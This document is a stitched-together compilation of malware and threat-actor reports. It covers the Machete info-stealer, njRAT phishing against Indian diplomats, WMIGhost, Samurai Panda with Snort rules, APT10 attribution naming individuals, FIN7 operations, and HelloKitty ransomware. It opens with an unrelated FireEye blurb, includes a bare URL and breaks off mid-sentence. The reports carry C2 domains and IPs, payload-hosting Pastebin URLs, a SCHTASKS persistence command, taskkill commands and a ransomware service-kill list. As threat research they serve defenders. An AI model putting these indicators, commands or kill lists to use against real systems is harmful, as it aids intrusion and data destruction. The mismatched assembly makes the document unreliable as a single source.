About FireEye FireEye protects the most valuable assets in the world from those who have them in their sights. Our combination of technology, intelligence, and expertise—reinforced with the most aggressive incident response team—helps eliminate the impact of security breaches. FireEye has over 3,100 customers across 67 countries, including over 200 of the Fortune 500.
# Threat Spotlight: Machete Info-Stealer **Adam Martin** **RESEARCH & INTELLIGENCE / 11.27.19** ## Introduction Machete is an info-stealing malware that can harvest user credentials, chat logs, screenshots, webcam pictures, geolocation, and perform keylogging. It can also copy files to a USB device and take control of the clipboard to exfiltrate information. Machete is typically distributed via social engineering techniques and malicious websites. The user is enticed into opening the original executable under the premise that they are opening a PowerPoint presentation. This is, in fact, a Nullsoft installer SFX. The PowerPoint can range from illicit images to cleverly crafted images that are meant to represent government or military documentation. The most common names include "Hermosa xxx.pps.rar," "Suntzu.rar," and "Hot brazilian XXX.rar." Based on language found within the file along with open source information, the intended targets appear to be Spanish-speaking nations across Latin America. The payload is typically packaged as part of a PowerPoint presentation with Nullsoft installer SFX. The executables within the SFX are compiled using Python. ## Technical Analysis ### Static Analysis Pre/Post SFX Extraction The original executable is disguised as a document; however, it is an SFX Nullsoft installation file. Once extracted, the following folders are opened in the working directory, which also contains NullSoft SFX files. The fourth extraction creates a folder containing a PowerPoint presentation file and another SFX file disguised as a Java executable. The JavaAlq.exe file contains a multitude of Java executables along with a series of Python libraries. Each of the Java executables contained within the original JavaAlq.exe is compiled with a Python script. Each one contains a large volume of Python libraries necessary for the executable to be compiled and run. These Java executables all contain a payload component. The raw script can be extracted from the executables using a Py2Exe Binary Editor. Once this Python script has been dumped, it needs to be converted into a Python file using an open-source Python script extractor. The final step involved in producing the malicious script is to decompile the Python script. This is done with Easy Python Decompiler. ### Malicious Payloads **Java.exe** The keylogging functionality contained within the payload of Java.exe is shown with the standard ASCII keys listed with their key IDs. The hook for the keyboard is also set within this script. **Document Type Check JavaUE.exe** Contained within the payload of JavaUE.exe is a document type check of a target directory. **JavaK.exe Payload Script** The webcam information being sent to a remote server is illustrated. Interestingly, it sets the resolution at which to capture information to a low resolution in order to expedite exfiltration of images. **JavaTM.exe Payload Script** JavaS.exe is run as the last process. It terminates the rest of the spawned processes then deletes them from the victim machine. ### Dynamic Analysis When the script is executed, a series of files are created along with the Java labeled executables. A crypto.cipher.AES Python file is dropped, which is used to encrypt the exfiltrated data sent to the FTP server. It is also used to assign an encrypted unique identifier to each victim machine. The other files installed are Python libraries necessary for the executable to run its payload. The system information text file is created to record data from the victim machine. ## Conclusion Blackberry Cylance uses artificial intelligence-based agents trained for threat detection on millions of both safe and unsafe files. Our automated security agents block Machete based on countless file attributes and malicious behaviors instead of relying on a specific file signature. Blackberry Cylance, which offers a predictive advantage over zero-day threats, is trained on and effective against both new and legacy cyberattacks. If you are a Blackberry Cylance customer using CylancePROTECT®, you are protected from Machete by our machine learning models. ## APPENDIX ### Indicators of Compromise (IoCs) | Indicator | Type | Description | |---------------------------------------------------------------------------|-----------------|-----------------------------------------------| | C:\Windows\system32\cmd.exe /c SCHTASKS /create /ST 00:00:01 | Command-line | Scheduled task used to launch JavaH.exe as a service | | C:\Users\%USERNAME%\AppData\Roaming\java | Path | Install folder | | C:\Users\%USERNAME%\AppData\Roaming\Bin\Jre6\ | Path | Install folder | | C:\Users\%USERNAME%\AppData\Roaming\MicroDes | Path | Install folder | | caso.txt | File | Present in install folder | | Java.exe | File | Present in install folder | | JavaD.exe | File | Present in install folder | | JavaH.exe | File | Present in install folder | | JavaK.exe | File | Present in install folder | | JavaS.exe | File | Present in install folder | | JavaTM.exe | File | Present in install folder | | JavaUe.exe | File | Present in install folder | | JavaAlq.exe | File | Present in install folder | | Ujavap.exe | File | Present in install folder | ### File Information - **SHA256**: bf25b330975dc700be3f1f6b1b3362e34eb84b89725d4936d893cdd4f1499e69 - **Type**: Win32 EXE NullSoft SFX - **Size**: 4830 KB - **Timestamp**: 2008-08-16 20:26:10 (Time-stomped) - **ITW names**: Machete, Trojan/Spy.Python.Ragua **Adam Martin** **About Adam Martin** Threat Researcher at BlackBerry Cylance. Adam Martin is currently working as a Threat Researcher in Cork, Ireland, having graduated from Cork Institute of Technology in summer 2019. Adam completed an internship with BlackBerry Cylance in his third year of college and was lucky enough to be kept on afterwards!
# Uri Terror Attack & Kashmir Protest Themed Spear Phishing Emails Targeting Indian Embassies and Indian Ministry of External Affairs In my previous blog, I posted details of a cyber attack targeting Indian government organizations. This blog post describes another attack campaign where attackers used the Uri terror attack and Kashmir protest themed spear phishing emails to target officials in the Indian Embassies and Indian Ministry of External Affairs (MEA). To infect the victims, the attackers distributed spear-phishing emails containing a malicious Word document that dropped malware capable of spying on infected systems. The email purported to have been sent from legitimate email IDs. The attackers spoofed the email IDs associated with the Indian Ministry of Home Affairs to send out emails to the victims. They also used the name of a top-ranking official associated with the Ministry of Home Affairs in the signature of the email to make it look like it was sent by a high-ranking government official. ## Overview of the Malicious Emails In the first wave of attack, the attackers spoofed an email ID associated with the Indian Ministry of Home Affairs (MHA) and sent an email on September 20, 2016 (just two days after the Uri terror attack) to an email ID associated with the Indian Embassy in Japan. The email was made to look like an investigation report related to the Uri terror attack shared by the MHA official. This email contained a malicious Word document (Uri Terror Report.doc). On September 20, 2016, a similar Uri Terror report themed email was also sent to an email ID connected with the Indian embassy in Thailand. This email was later forwarded on October 24, 2016, from a spoofed email ID associated with the Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs. This email also contained the same malicious Word document (Uri Terror Report.doc). In the second wave of attack, a slightly different theme was used. This time, attackers used the Jammu & Kashmir protest theme to target the victims. Again, they spoofed an email ID associated with the Indian Ministry of Home Affairs, and the mail was sent on September 1, 2016, to an email ID associated with the Thailand Indian embassy. This email was later forwarded on October 24, 2016, from a spoofed email of the Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs (MEA). This time, the email was made to look like an investigation report related to the Jammu & Kashmir protest shared by the Ministry of Home Affairs official, and the forwarded email was made to look like the report was forwarded by an Ambassador in the Thailand Indian embassy to the MEA officials. This email contained a different malicious Word document (mha-report.doc). From the emails and the attachments, it looks like the goal of the attackers was to infect and take control of the systems and spy on the actions of the Indian Government post the Jammu & Kashmir protest and Uri Terror attack. ## Analysis of Malicious Word Documents When the victim opens the attached Word document, it prompts the user to enable macro content. Both documents (Uri Terror Report.doc and mha-report.doc) displayed the same content and contained a Show Document button. In both documents, the malicious macro code was heavily obfuscated and did not contain any auto-execute functions. Malicious activity is triggered only on user interaction; attackers normally use this technique to bypass sandbox/automated analysis. Reverse engineering both Word documents exhibited similar behavior except for minor differences. In the case of mha-report.doc, the malicious activity was triggered only when the Show Document button was clicked. When this event occurs, the macro code calls a subroutine CommandButton1_Click(), which in turn calls a malicious obfuscated function (Bulbaknopka()). In the case of Uri Terror Report.doc, the malicious activity was triggered when the document was either closed or when the Show Document button was clicked. When any of these events occur, a malicious obfuscated function (chugnnarabashkoim()) gets called. The malicious macro code first decodes a string that contains a reference to the Pastebin URL. The macro then decodes a PowerShell script that downloads base64 encoded content from the Pastebin URL. The base64 encoded content downloaded from the Pastebin link is then decoded to an executable and dropped on the system. The technique of hosting malicious code on legitimate sites like Pastebin has advantages, as it is highly unlikely to trigger any suspicion in security monitoring and can bypass reputation-based devices. The dropped file was determined to be a modified version of the njRAT trojan. The dropped file (officeupdate.exe) is then executed by the macro code using the PowerShell script. njRAT is a Remote Access Tool (RAT) used mostly by actor groups in the Middle East. Once infected, njRAT communicates with the attacker and allows the attacker to log keystrokes, upload/download files, access the victim's webcam, record audio, steal credentials, view the victim's desktop, and open a reverse shell. ## Analysis of the Dropped Executable (officeupdate.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the C2 server). This section contains the behavioral analysis of the dropped executable. Once the dropped file (officeupdate.exe) is executed, the malware drops additional files (googleupdate.exe, malib.dll, and msccvs.dll) into the %AllUsersProfile%\Google directory and then executes the dropped googleupdate.exe. The malware then communicates with the C2 server (khanji[.]ddns[.]net) on port 5555. ### C2 Communication Pattern Upon execution, the malware makes a connection to the C2 server on port 5555 and sends the system and operating system information along with some base64 encoded strings to the attacker. ### C2 Domain Information This section contains the details of the C2 domain (khanji[.]ddns[.]net). Attackers used DynamicDNS to host the C2 server, allowing them to quickly change the IP address in real-time if the malware C2 server infrastructure is unavailable. The C2 domain was associated with multiple IP addresses in the past, most of which were located in Pakistan. ### Threat Intelligence Based on the base64 encoded content posted in the Pastebin, the user ID associated with the Pastebin post was determined. The same user posted multiple similar posts, most containing similar base64 encoded content, probably used by the malware in other campaigns to decode and drop malware executables. After inspecting the njRAT builder kit, it was determined that this individual customized the existing njRAT builder kit to bypass security products. The njRAT used in this cyber attack was built from this builder kit. ## Indicators of Compromise The indicators provided below can be used by organizations (government, public, and private) to detect and investigate this attack campaign. **Dropped Malware Samples:** - 14b9d54f07f3facf1240c5ba89aa2410 (googleupdate.exe) - 2b0bd7e43c1f98f9db804011a54c11d6 (malib.dll) - feec4b571756e8c015c884cb5441166b (msccvs.dll) - 84d9d0524e14d9ab5f88bbce6d2d2582 (officeupdate.exe) **Network Indicators Associated with C2:** - khanji[.]ddns[.]net - 139[.]190[.]6[.]180 - 39[.]40[.]141[.]25 - 175[.]110[.]165[.]110 - 39[.]40[.]44[.]245 - 39[.]40[.]67[.]219 - 119[.]160[.]68[.]178 - 175[.]107[.]13[.]215 - 39[.]47[.]125[.]110 - 175[.]107[.]5[.]247 - 175[.]107[.]6[.]174 - 182[.]191[.]90[.]91 - 175[.]107[.]7[.]50 - 182[.]191[.]90[.]92 - 175[.]107[.]7[.]69 - 39[.]47[.]84[.]127 - 192[.]169[.]136[.]121 - 155[.]254[.]225[.]24 - 203[.]31[.]216[.]214 - 45[.]42[.]243[.]20 **Pastebin URLs Hosting Malicious Payload:** - hxxp://pastebin.com/raw/5j4hc8gT - hxxp://pastebin.com/raw/6bwniBtB **Related Malware Samples Associated with C2 (khanji[.]ddns[.]net):** - 028caf3b1f5174ae092ecf435c1fccc2 - 7732d5349a0cfa1c3e4bcfa0c06949e4 - 9909f8558209449348a817f297429a48 - 63698ddbdff5be7d5a7ba7f31d0d592c - 7c4e60685203b229a41ae65eba1a0e10 - e2112439121f8ba9164668f54ca1c6af - 784b6e13f195236304e1c172dcdab51f - b0f0350a5c2480d8419d14ec3445b765 - 9a51db9889d4fd6d02bdb35bd13fb07e - 8199667bad5559ee8f04fd6b1a587a75 - 7ad6aaa107a7616a3dbe8e3babf5d310 ## Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email IDs and using an email theme relevant to the targets. The following factors suggest the possible involvement of a Pakistan state-sponsored cyber espionage group to spy on India’s actions related to these geopolitical events (Uri terror attack and Jammu & Kashmir protests): - Victims/targets chosen (Indian Embassy and Indian MEA officials) - Use of email theme related to the geopolitical events of interest to the targets - Timing of the spear phishing emails sent to the victims - Location of the C2 infrastructure - Use of malware capable of spying on infected systems The following factors show the level of sophistication and reveal the attackers' intention to remain stealthy and gain long-term access by evading antivirus, sandbox, and security monitoring at both the desktop and network levels: - Use of obfuscated malicious macro code - Use of macro code that triggers only on user intervention (to bypass sandbox analysis) - Use of legitimate site (Pastebin) to host malicious code (to bypass security monitoring) - Use of customized njRAT (capable of evading antivirus) - Use of Dynamic DNS to host C2 infrastructure I would like to thank Brian Rogalski, who, after reading my previous blog post, shared a malicious document that he thought was similar to the document mentioned in my previous blog. This malicious document triggered this investigation and helped me identify the related emails and documents associated with this cyber attack.
# WMIGhost / Wimmie - WMI Malware WMIGhost / Wimmie sample is from theZoo. SHA256: a6ff8dfe654da70390cd71626cdca8a6f6a0d7980cd7d82269373737b04fd206 The sample has a .dll extension but there are no exports and according to characteristics, it’s not a dll file; I’ve changed the extension to .exe. We can use the report from hybrid-analysis. There is no protection, let’s dive in deep. From the beginning, it decrypts text using XOR with 0x63 and 0xE9: **Decrypted text:** Much more readable: **NOTE:** you can use my script to extract decrypted text from the executable. The malware uses `CoCreateInstance` function to get access to COM functionality. The Microsoft Component Object Model (COM) is an interface standard that makes it possible for different software components to call each other’s code without knowledge of specifics about each other. `MS Script Control` is provided in `msscript.ocx`. It is a very handy tool to run VBScript/JScript without relying on `CScript.exe` or `WScript.exe`. Seems like malware uses `Script Control` via COM to execute decrypted function without `CScript.exe` or `WScript.exe`. `call dword ptr[ecx+20h]` calls some function from `msscript.ocx`, but I have no idea which function; there are no symbols, but I think it chooses `javascript` to execute the script. After this at `00401AB7` there is another call to function from `msscript.ocx`: I think this function is used to execute the script because it causes creation of new process `scrcons.exe`. According to TrendMicro’s great paper: Based on our analysis of using JS, the application `wscript.exe` is responsible for executing the malicious code. However, in the case of WMI implementation, such a script is executed by the WMI Standard Event Consumer - scripting application, which can be found in the WMI folder in `%system32%/wbem/scrcons.exe`. This makes the script hard to detect since it uses a not-so-common WMI application—`scrcons.exe`—rather than the traditional JS application—`wscript.exe`. Yes, the sample uses WMI and executes the script using `scrcons.exe`. After creation of the new process, it also creates `httpcom.log` file and writes infection date. Before exit, it tries to delete `instell.exe` without success. That’s executable, let’s look at the script: It creates instance of `ActiveScriptEventConsumer` under `root\subscription` namespace, executes `Javascript` script every `0x6e3` milliseconds. You can get the script from the Gist or get using WMI Explorer; it’s under `ROOT\subscription` namespace, the class is `ActiveScriptEventConsumer`, the name of the instance is `ProbeScriptFint`, the script is a value of the `ScriptText` property. WMI classes stored in namespace: `subscription` allow permanent and general access to WMI services. `new MAIN().Fire()` causes executing of `MAIN` routine. `CleanObjects` terminates execution of the script: Parses URLs from the argument and sends information about infected PC. Receives commands and sends results. If you prefer, you can dive deeper into the script; it’s not obfuscated and is easy to analyze. That’s all… WMIGhost / Wimmie is a very interesting malware; it uses WMI to achieve persistence and get system-related information, the script is not on the disk. We can get information about WMI Database Entries using Autoruns. Maybe I overlook something related to WMIGhost, due to my limited knowledge; if you find something interesting, please contact me. I’m new to reversing malware and any kind of feedback is helpful for me. Twitter: @_qaz_qaz **Resources:** Understanding WMI Malware
# Samurai Panda | Threat Actor Profile ## Who is Samurai Panda This week we’re back to our old friends with a Chinese nexus. To recount the last few weeks of our adversary blog posts, we first introduced Anchor Panda, an adversary we attribute to China and associate with the PLAN. We then moved on to another Chinese adversary we dubbed Numbered Panda to highlight the issue of community naming for adversaries and the lack of a common lexicon for characterizing these attackers. Next, in an effort to demonstrate it wasn’t relegated to China, we exposed Clever Kitten, an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary. This week we will discuss another Chinese nexus adversary we call Samurai Panda. Samurai Panda is interesting in that their target selection tends to focus on Asia Pacific victims in Japan, the Republic of Korea, and other democratic Asian victims. Beginning in 2009, we’ve observed this actor conduct more than 40 unique campaigns that we’ve identified in the malware configurations’ campaign codes. These codes are often leveraged in the malware used by coordinated targeted attackers to differentiate victims that were successfully compromised from different target sets. When conducting programmatic espionage activity, it can presumably become quite confusing if the attacker targets a heavy industry company, an avionics program, and seven other unique targets as to which infected host you will collect what information from. While investigating these targeted attacks, the campaign key can be leveraged in much the same way by the investigator to sort out how various malware samples are related, and perhaps what sectors the various builds were meant for. ## Samurai Panda’s Installation Process The implant delivered by Samurai Panda uses a typical installation process whereby they: 1. Leverage a spearphish with an exploit to get control of the execution flow of the targeted application. This file “drops” an XOR-encoded payload that unpacks itself and a configuration file. 2. Next, the implant, which can perform in several different modes, typically will install itself as a service and then begin beaconing out to an adversary-controlled host. 3. If that command-and-control host is online, the malicious service will download and instantiate a backdoor that provides remote access to the attacker, who will see the infected host’s identification information as well as the campaign code. Using CrowdRE with IDA Pro, you can import the CrowdStrike Intelligence Team’s annotations for this malware and the associated backdoor to leverage the reverse engineering that we have already conducted. ## How to Detect Samurai Panda Here are some Snort rules that will enable you to detect Samurai Panda activity on your enterprise. These rules detect the malware “beaconing” to the command-and-control server, the initial malware check-in, and an attempt to download a backdoor module. ```plaintext alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] [SAMURAI PANDA] C2 Heartbeat"; flow: to_server,established; content: "POST"; http_method; content: "/NfStart.asp?ClientId="; http_uri; content: "&Nick="; http_uri; content: "&dtime=T:"; http_uri; content: "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"; http_header; classtype: trojan-activity; sid: xxx; rev: 1;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] [SAMURAI PANDA] C2 Communication"; flow: to_server,established; content: "POST"; http_method; content: "/NfCommand.asp?"; http_uri; content: "ClientId="; http_uri; content: "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"; http_header; classtype: trojan-activity; sid: xxx; rev: 1;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] [SAMURAI PANDA] Initial Check or Backdoor Download - Malformed User Agent"; flow: to_server,established; content: "User-Agent: Mozilla/5.0 (compatible; MSIE 7.0;Windows NT 5.1)"; http_header; classtype: trojan-activity; sid: xxx; rev: 1;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] [SAMURAI PANDA] Attempt to download Backdoor Module UA2"; flow: to_server,established; content: "POST"; http_method; content: "/Nfile.asp"; http_uri; content: "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"; http_header; classtype: trojan-activity; sid: xxx; rev: 1;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] [SAMURAI PANDA] Initial Reachability Check"; flow: to_server,established; content: "POST"; http_method; content: "TTip.asp"; http_uri; sid: xxx; rev: 1;) ``` ## Other Known China-based Adversaries - Anchor Panda - Deep Panda - Goblin Panda - Mustang Panda Curious about other nation-state adversaries? Be sure to follow @CrowdStrike on Twitter as we continue to provide more intelligence and adversaries over the coming weeks. If you have any questions about these signatures or want to hear more about Samurai Panda and their tradecraft, please contact: [email protected] and inquire about our intelligence-as-a-service solutions where we provide additional actionable intelligence feeds such as the rules included in this post.
APT10 was managed by the Tianjin bureau of the Chinese Ministry of State Security. In previous posts, Intrusion Truth showed that the Cloud Hopper / APT10 hackers that attacked thousands of global clients of Managed Service Providers (MSPs) in 2016 were based in Tianjin, China. We identified Zheng Yanbin, Gao Qiang, and Zhang Shilong as three actors responsible. We associated them with the Huaying Haitai Science and Technology Development Co Ltd (天津华盈海泰科技发展有限公司) and Laoying Baichen Instruments Equipment Co Ltd in Tianjin, China. But we haven’t yet explained who was masterminding or controlling the attacks. In the course of our investigation over the last year, we engaged with several Cyber Threat Intelligence analysts who provided both raw data and analysis to our team. Amongst the data provided to us recently was evidence that Gao Qiang has been working with the Chinese state. The key piece of data was an Uber journey. This image, which was provided by an analyst who prefers not to be named publicly (but whose identity we have independently verified), shows an Uber receipt addressed to a user called ‘Qiang’ (强) and bears the e-mail address 420192[at]qq.com, an account that we believe to be used by APT10 actor Gao Qiang. The receipt shows travel at the end of the working day between 384 Jiefang South Road (解放南路) – immediately outside the Fuyu Mansion address of Huaying Haitai – and a destination in what appears to be a residential area of the Xiqing District of Tianjin just south of the Waihuan River. We have blacked out the exact street number in the image. This second Uber receipt, provided by the same analyst, shows further travel by the same user, though here he uses the name ‘Pig’ (猪). This could be some attempt to disguise the nature of the journey, though readers will note the same QQ e-mail address is used. In this case, the journey is between the same residential area in the Xiqing District and a large complex at 85 Zhujiang Road (珠江道), Tianjin. According to the rest of the data revised by analysts working for this blog, this was one of a number of journeys made by the user to/from the same complex on Zhujiang Road. 85 Zhujiang Road is an important address in Tianjin – it is the headquarters of the Tianjin State Security Bureau (天津市国家安全局), a regional arm of the Ministry of State Security (MSS). MSS is the same Chinese Intelligence Service that was tasking APT3 via a cover company managed by its office in Guangdong. This looks like what it is – an exact copy of the APT3 model. This was a large scale infiltration of western infrastructure conducted by a team of Chinese citizens working for a small company with links to the Chinese Intelligence Service, MSS. It is the second time that this blog has proven a link between a damaging APT group and the Chinese state (and it certainly won’t be the last). The conclusion? Either: - Someone with the same name as an apparent APT10 hacker traveled from the same building as an APT10 associated company and met frequently with the Ministry of State Security in Tianjin. - Or APT10 was the work of the Chinese Ministry of State Security.
NCSC ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28
# CrimeOps: The Operational Art of Cyber Crime **Cyber Crime Innovation Is Lucrative** Cybercrime rewards innovative organizations. These can innovate at the tactical level (e.g. new or updated tactics, techniques, and procedures (TTP)), the strategic level (e.g. new monetisation methods), or at the operational level—the management of resources and personnel to achieve strategic objectives. This is operational art. The operational level, the glue that enables a group to execute well, is seldom analyzed because it is rarely visible to information security researchers. Unlike tactical TTP, where changes are discovered quickly on the ground, new operational strategies only come to light by monitoring major shifts and trends. The FIN7 affidavits are a unique opportunity to see inside the management of a successful cybercrime gang and analyze their operational art. The most detailed information in the affidavits covers the time period 2016–2017. The methodologies and tooling described were cutting-edge and trendy at the time. ## The Innovators—FIN7, Uber for Cybercrime Kaspersky has been tracking FIN7 since 2015. Despite a series of arrests in 2018–2020, and ongoing investigations, FIN7 continues to operate. FIN7 managed hundreds of victims, huge volumes of stolen data, a large salaried team, development of new targets, and maintaining their tool chain. That’s an organization with a lot of moving parts. Their innovations were in cyber crime operational art. The details of how this group of Russian cyber criminals cooperated as an organization is fascinating. FIN7 was not and is not the most technically sophisticated threat actor. They rely on phishing for access, their toolkit is just repurposed common malware, and they monetize via stolen credit cards and wire transfers. Despite being only a middle of the road hacking outfit, they looted an alleged 1 billion US dollars by 2018. Why was FIN7 so amazingly successful using only stodgy “Top 10 Infosec Risks” TTP? The answer is FIN7’s sophisticated organization and management capabilities. They adopted agile processes and a DevOps methodology. Good team coordination and project management tools were combined with rapid iteration on their toolchain and TTP to maintain efficacy and operational capability. Let's explore CrimeOps. ## CrimeOps: Project Management for Criminals The secret of FIN7’s success is their operational art of cyber crime. They managed their resources and operations effectively, allowing them to successfully attack and exploit hundreds of victim organizations. FIN7 was not the most elite hacker group, but they developed a number of fascinating innovations. Looking at the process triangle (people, process, technology), their technology wasn’t sophisticated, but their people management and business processes were. Their business is crime! And every business needs business goals, so I wrote a mock FIN7 mission statement: *Our mission is to proactively leverage existing long-term, high-impact growth strategies so that we may deliver the kind of results on the bottom line that our investors expect and deserve.* How does FIN7 actualize this vision? This is CrimeOps: - Repeatable business process - CrimeBosses manage workers, projects, data and money. - CrimeBosses don’t manage technical innovation. They use incremental improvement to TTP to remain effective, but no more. - Frontline workers don’t need to innovate (because the process is repeatable). ## People: FIN7 Team Roles The organization had a surprisingly sophisticated range of job functions and an impressive depth of capability, similar to that you'd need to build an APT. - Managers - Operators - Developers - Interpreters The FIN7 group grew capacity by hiring people via fake front companies. Behind the facade of their fake information security company, the leaders of FIN7 recruited employees to work on development and penetration testing. Prospective employees were interviewed on a HipChat instance (a sort of privately hosted Slack). *“By 2025 there will be a projected shortage of 20,000 cybercriminals”* – Cyber Crime Business Weekly, probably. FIN7 is currently suffering a number of setbacks as the FBI aggressively dismantles it. The executive suite is being cleared out. Leaders of the group (the management team) have been arrested, but a large number of supporting players have escaped the long arm of the law. ## Process: How to Cyber Crime and Make Money FIN7’s success comes from their effective crime process, a monetization template that easily adapts to different verticals and organizations. The fundamental cyber crime process used by FIN7 is unremarkable, but absolutely effective. It’s bread and butter cybercrime. The process that converts access to a company into a stream of valuable financial data and money transfers is: 1. Select target 2. Research potential assets in target 3. Recruit asset over email 4. Trick asset into deploying remote access Trojan 5. Survey network 6. Start continuous exfiltration - Access business bank accounts, access point of sale or other financial processing - Transfer money out of accounts, transfer collected data out of network 7. Sell financial data This is a black box that makes money. A target, as input, produces wire transfers and financial data as output. The innovation was in scaling this process. A reliable crime process enables value extraction from any victim. Therefore the business strategy for this criminal enterprise is not value extraction, but growing the portfolio of victims they can exploit. Essentially, once they had product/market fit, FIN7 just had to scale. The scaling bottleneck is not in the process, but in executing it in parallel. This is where the operational art of cyber crime becomes portfolio management. ## Business Growth: Portfolio Management for Hackers *“Portfolio management is the selection, prioritisation and control of an organisation’s programmes and projects, in line with its strategic objectives and capacity to deliver. The goal is to balance the implementation of change initiatives and the maintenance of business-as-usual, while optimising return on investment.”* – APM Body of Knowledge 7th edition After the core team standardized their process for exploiting a victim company, the bottleneck to maximising returns moved from “develop a process” to “run the process in parallel.” FIN7’s innovation in operations, project, and resource management allowed them to grow their actively exploited victim portfolio. This is portfolio management. The portfolio is a bundle of projects. Each project is a victim company moving through the monetization process with associated resources. A project contains information about the victim, assigned personnel, and extracted data. The only way to handle hundreds of victims is with a project management software stack to track and monitor the progress through the process. FIN7 also used the project management processes of its time, including agile and DevOps. They used agile (iterative changes in response to feedback) to adjust and change their tooling as necessary to remain operational. They used DevOps as collaboration between developers and operations with central management throughout the end-to-end engineering process. ## Technology Tactically FIN7 is boring. The tactical cybercrime process, the TTP which enables the process, is fairly rigid. FIN7 have been tracked by their TTP, and other groups have been found duplicating the TTP for years. There is not much room to innovate at the tactical level, and it is unlikely that innovation would substantially alter their revenue because they are not bottlenecked by their ability to penetrate or extract value. With boring but effective tactical technology, frontline workers don’t have to innovate, and revenue is not dependent on their technical skills. Success is realized through innovative management. FIN7 used project management software to track victims and the progress of their attacks. They used group chat software to manage personnel, conduct interviews, and trade data. A separate secure chat system was used for sensitive operations, such as arranging salary payment. Using JIRA, FIN7 created an issue ticket for each victim. As the attack progressed through reconnaissance, infiltration, lateral traversal, and target exploitation (by collecting data into "loot"), the issue was updated. Usernames and passwords, output from security tools, screenshots and video captures, everything relevant to increasing their access and control over the victim, was added to JIRA. It is interesting that JIRA was used as an information management tool, with a single issue per victim and relevant information added as comments. This is a poor use of JIRA's capabilities. They did not use JIRA’s project management functionality, but instead abused ticketing for ad hoc collaboration. This could be improved—information management would be handled better with a wiki or a specialized red team collaboration tool. It is possible that JIRA was used partially to help maintain the cover of the "legitimate" Combi Security company. Realistically, any penetration tester who was involved in FIN7's criminal operations would know that they were not conducting ethical hacking, because: - Proper pen tests have start times, kickoffs, and duration. - Pen test customers supply information to the pen test team. - Sophisticated social engineering is seldom used (because it always works). There were overtly criminal indicators: - Targeted social engineering with tailored enticements and infection vectors. - Secondary social engineering pressure (phone calls to guide victim through the infection process). - Using malware for post exploitation. - Targeting point of sale systems. - Collecting credit card details in "loot.rar". Really though, the number one reason is more obvious—pen tests always result in report writing. ## CrimeOps: Continuous Infiltration Pipeline We have reviewed FIN7’s CrimeOps process triangle. Key innovations and improvements to standard practice developed or adopted by FIN7 were: - Move from technological innovation to business innovation. - Repeatable adaptable process. - Portfolio management to scale the processes. - Project management software to track large numbers of victims. - Capacity building to execute processes in parallel. - Team roles, structured teams, and recruitment. - DevOps collaboration. - Agile rapid iteration on toolkit. Crime pays when you move up the value chain into project management! The Grugq is a pioneering information security researcher with two decades of experience at almost every level of the field. He has worked extensively with threat intelligence, disinformation, digital forensic analysis, binary reverse engineering, rootkits, mobile phone security, Voice over IP, telecommunications and financial services security. The Grugq has been quoted and referenced routinely in The New York Times, Washington Post, Forbes, Wired, TechCrunch, BoingBoing, VICE and BBC News. Grugq’s quotes and insights are so frequently referenced at security conferences that he’s informally known as the “most quoted man in infosec."
# HelloKitty Ransomware Lacks Stealth, But Still Strikes Jim Walter Game studio CD Projekt Red recently disclosed that it became a victim of a targeted, highly impactful ransomware. In the days following the disclosure, it was revealed that the ransomware family most likely behind the attack was “HelloKitty”. HelloKitty is a ransomware family that emerged in late 2020. While it lacks the sophistication of some of the more well-known families such as Ryuk, REvil, and Conti, it has nevertheless struck some notable targets, including CEMIG. In this post, we analyze a recent HelloKitty sample and outline the basic behaviors and traits associated with this family of ransomware. ## Execution and Behavior The “HelloKitty” name is based on internal mutex names, which are apparent upon execution. While still somewhat unclear, current intelligence indicates that the primary delivery method of HelloKitty binaries is via phishing email or via secondary infection in conjunction with other malware. Once launched, HelloKitty will attempt to disable and terminate a number of processes and services to reduce interference with the encryption process. This includes processes and services associated with IIS, MSSQL, Quickbooks, Sharepoint, and more. These actions are carried out via `taskkill.exe` and `net.exe`. In the analyzed sample, this is all done in a very non-stealthy manner. All spawned CMD windows are in the foreground and fully visible. This ‘lack of discreteness’ is atypical for modern ransomware, or any successful malware, for that matter. A full list of processes from the analyzed sample are listed below: - Ntrtsca - ds_moni - Notifie - TmListe - iVPAgen - CNTAoSM - IBM* - bes10* - black* - robo* - copy* - store.e - sql* - vee* - wrsa* - wrsa.ex - postg* - sage* - MSSQLServerADHelper100 - MSSQL$ISARS - MSSQL$MSFW - SQLAgent$ISARS - SQLAgent$MSFW - SQLBrowser - ReportServer$ISARS - SQLWriter - WinDefend - mr2kserv - MSExchangeADTopology - MSExchangeFBA - MSExchangeIS - MSExchangeSA - ShadowProtectSvc - SPAdminV4 - SPTimerV4 - SPTraceV4 - SPUserCodeV4 - SPWriterV4 - SPSearch4 - IISADMIN - firebirdguardiandefaultinstance - ibmiasrw - QBCFMonitorService - QBVSS - QBPOSDBServiceV12 - "IBM Domino Server(CProgramFilesIBMDominodata)" - "IBM Domino Diagnostics(CProgramFilesIBMDomino)" - "Simply Accounting Database Connection Manager" - QuickBooksDB1 - QuickBooksDB2 - QuickBooksDB3 - QuickBooksDB4 - QuickBooksDB5 - QuickBooksDB6 - QuickBooksDB7 - QuickBooksDB8 - QuickBooksDB9 - QuickBooksDB10 - QuickBooksDB11 - QuickBooksDB12 - QuickBooksDB13 - QuickBooksDB14 - QuickBooksDB15 - QuickBooksDB16 - QuickBooksDB17 - QuickBooksDB18 - QuickBooksDB19 - QuickBooksDB20 - QuickBooksDB21 - QuickBooksDB22 - QuickBooksDB23 - QuickBooksDB24 - QuickBooksDB25 Additional processes and services that are terminated are identified via PID. For example: ``` taskkill.exe /f /PID "8512" taskkill.exe /f /PID "8656" ``` If HelloKitty is unable to stop any specific processes or services, it will leverage the Windows Restart 